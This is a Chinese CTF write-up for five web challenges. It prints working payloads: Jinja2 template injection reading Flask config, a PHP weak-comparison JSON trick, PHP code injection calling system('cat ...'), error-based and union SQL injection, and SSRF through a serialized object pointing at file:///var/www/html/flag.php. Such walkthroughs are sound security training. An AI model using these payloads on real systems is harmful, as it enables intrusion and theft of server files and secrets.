攻防世界web进阶区16-20题 write up

攻防世界web进阶区16-20题wp

文章目录

  • 攻防世界web进阶区16-20题wp
    • 16、shrine
    • 17、lottery
    • 18、mfw
    • 19、web2
    • 20、fakebook

16、shrine

1、进入内容如下所示:

在这里插入图片描述

2、整理代码,对如下的代码做代码审计。

import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
    return open(__file__).read()
    @app.route('/shrine/')

def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

3、这是flask ssti的模板注入,而且注入点在shrine/后面,但是代码将 () 替换为空字符,还把config和self加入了黑名单。

攻防世界web进阶区16-20题 write up_第1张图片

4、源码中有这一行代码:app.config[‘FLAG’] = os.environ.pop(‘FLAG’),这样的话{{config}}可查看所有app.config内容,但是config被加入了黑名单,但是在Flask中,有一些特殊的变量和方法是可以在模板文件中直接访问的。

config 对象:
config 对象就是Flask的config对象,也就是 app.config 对象。
{{ config.SQLALCHEMY_DATABASE_URI }}
虽然有过滤但python还有一些内置函数,比如url_for和get_flashed_messages
url_for()作用:
(1)给指定的函数构造 URL。
(2)访问静态文件(CSS / JavaScript 等)。 只要在你的包中或是模块的所在目录中创建一个名为 static 的文件夹,在应用中使用 /static 即可访问。
get_flashed_messages方法: 返回之前在Flask中通过 flash() 传入的信息列表。

payload:
{{url_for.globals[‘current_app’].config[‘FLAG’]}}
{{get_flashed_messages.globals[‘current_app’].config[‘FLAG’]}}

攻防世界web进阶区16-20题 write up_第2张图片

flag{shrine_is_good_ssti}

17、lottery

1、进去页面如下所示,需要用钱来买flag,但是不会傻乎乎地真用钱来买呀!
攻防世界web进阶区16-20题 write up_第3张图片

2、御剑扫一下发现存在robots.txt,然后打开,就有新的发现了。提示是.git文件泄露。
攻防世界web进阶区16-20题 write up_第4张图片

3、然后用GitHack还原源码。
攻防世界web进阶区16-20题 write up_第5张图片

4、在api.php中发现可以利用的代码,其中 numbers参数是我们可以控制的,并且 后面还用了 == 进行比较,所以存在弱类型漏洞。
攻防世界web进阶区16-20题 write up_第6张图片

5、然后返回页面,按照提示开始Buy a lottery!

攻防世界web进阶区16-20题 write up_第7张图片

攻防世界web进阶区16-20题 write up_第8张图片

6、然后抓包,构造payload:{“action”:“buy”,“numbers”:[true,true,true,true,true,true,true]}.
攻防世界web进阶区16-20题 write up_第9张图片
攻防世界web进阶区16-20题 write up_第10张图片

7、回到Claim Your Prize页面,就有钱买flag了。
攻防世界web进阶区16-20题 write up_第11张图片

flag: cyberpeace{cb96bfb5322d1da400fdab5f7a91cf93}

18、mfw

1、进去页面如下所示:
攻防世界web进阶区16-20题 write up_第12张图片
2、随便点点看看,点到About的时候,发现如下所示,这样的到了这个是用什么语言编写,框架是什么,这样的话,根据提示的话,又是git泄露了。
攻防世界web进阶区16-20题 write up_第13张图片

3、使用GitHack还原一下源代码,有个flag.php,结果里面没有flag。
攻防世界web进阶区16-20题 write up_第14张图片
4、然后又开始查看每一个文件,在index.php中,发现如下代码,应该是代码执行漏洞了。
攻防世界web进阶区16-20题 write up_第15张图片

返回内容要查看源码:
?page=’).system(“ls”);//
?page=’).system(“ls templates”);//
?page=’).system(“cat templates/flag.php”);//
直接显示:
?page=’.system(“ls”).’
?page=’.system(“ls templates”).’
?page=’.system(“cat templates/flag.php”).’ //flag要查看源代码获得

5、构造payload,查看页面源代码,得到flag。
攻防世界web进阶区16-20题 write up_第16张图片

flag: cyberpeace{348ef9cf165a5b17ffe75a6e2b56454b}

19、web2

1、页面显示如下:
攻防世界web进阶区16-20题 write up_第17张图片

2、根据提示:逆向加密算法,解密$miwen就是flag。写出以下脚本,运行,直接得到flag。
攻防世界web进阶区16-20题 write up_第18张图片

php文件在线运行网站:https://tool.lu/coderunner/


$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$txt1="学习 PHP";
function decode($str){
       $_o=base64_decode(strrev(str_rot13($str)));
       for($_0=0;$_0<strlen($_o);$_0++){
        $_c=substr($_o,$_0,1);
        $__=ord($_c)-1;
        $_c=chr($__);
        $_=$_.$_c;  
    }
       return strrev($_);
}
echo decode($miwen);
?>

flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}

20、fakebook

1、进去页面如下:
攻防世界web进阶区16-20题 write up_第19张图片
2、点击join之后,点开用户看一看。
攻防世界web进阶区16-20题 write up_第20张图片
3、扫描发现有robots.txt,访问,有备份文件。
攻防世界web进阶区16-20题 write up_第21张图片
攻防世界web进阶区16-20题 write up_第22张图片

4、下载文件打开,是如下的代码。
5、代码审计:我们输入的信息被保存为序列化,读取的时候会从数据库中取出并反序列化,然后显示在blog界面。Get()方法并没有对获取过来的url进行任何的过滤所以这里存在SSRF,curl不仅可以http、https还可使用file协议,构造反序列字符串读取flag.php
攻防世界web进阶区16-20题 write up_第23张图片

6、寻找注入点,在参数no处测试?no=1 and 1=1
攻防世界web进阶区16-20题 write up_第24张图片
7、测试?no=1 and 1=2
8、数字型注入,且爆出了网站的绝对路径,下面先正常注入
攻防世界web进阶区16-20题 write up_第25张图片
9、爆表名 ?no=1 and updatexml(1,make_set(3,’~’,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
攻防世界web进阶区16-20题 write up_第26张图片
10、爆列名 ?no=1 and updatexml(1,make_set(3,’~’,(select group_concat(column_name) from information_schema.columns where table_name=“users”)),1)#
攻防世界web进阶区16-20题 write up_第27张图片
11、可以看到有四列,用user.php获取序列化后的字符串,构造语句注入即可,/view.php?no=0//union//select 1,2,3,'O:8:“UserInfo”:3:{s:4:“name”;s:1:“1”;s:3:“age”;i:1;s:4:“blog”;s:29:“file:///var/www/html/flag.php”;}'
攻防世界web进阶区16-20题 write up_第28张图片

12、查看页面源代码,有一个链接,点击链接,直接得到flag。
在这里插入图片描述
攻防世界web进阶区16-20题 write up_第29张图片
flag{c1e552fdf77049fabf65168f22f7aeab}

参考文章:https://blog.csdn.net/weixin_43610673/article/details/105189034

你可能感兴趣的:(CTF习题write,up)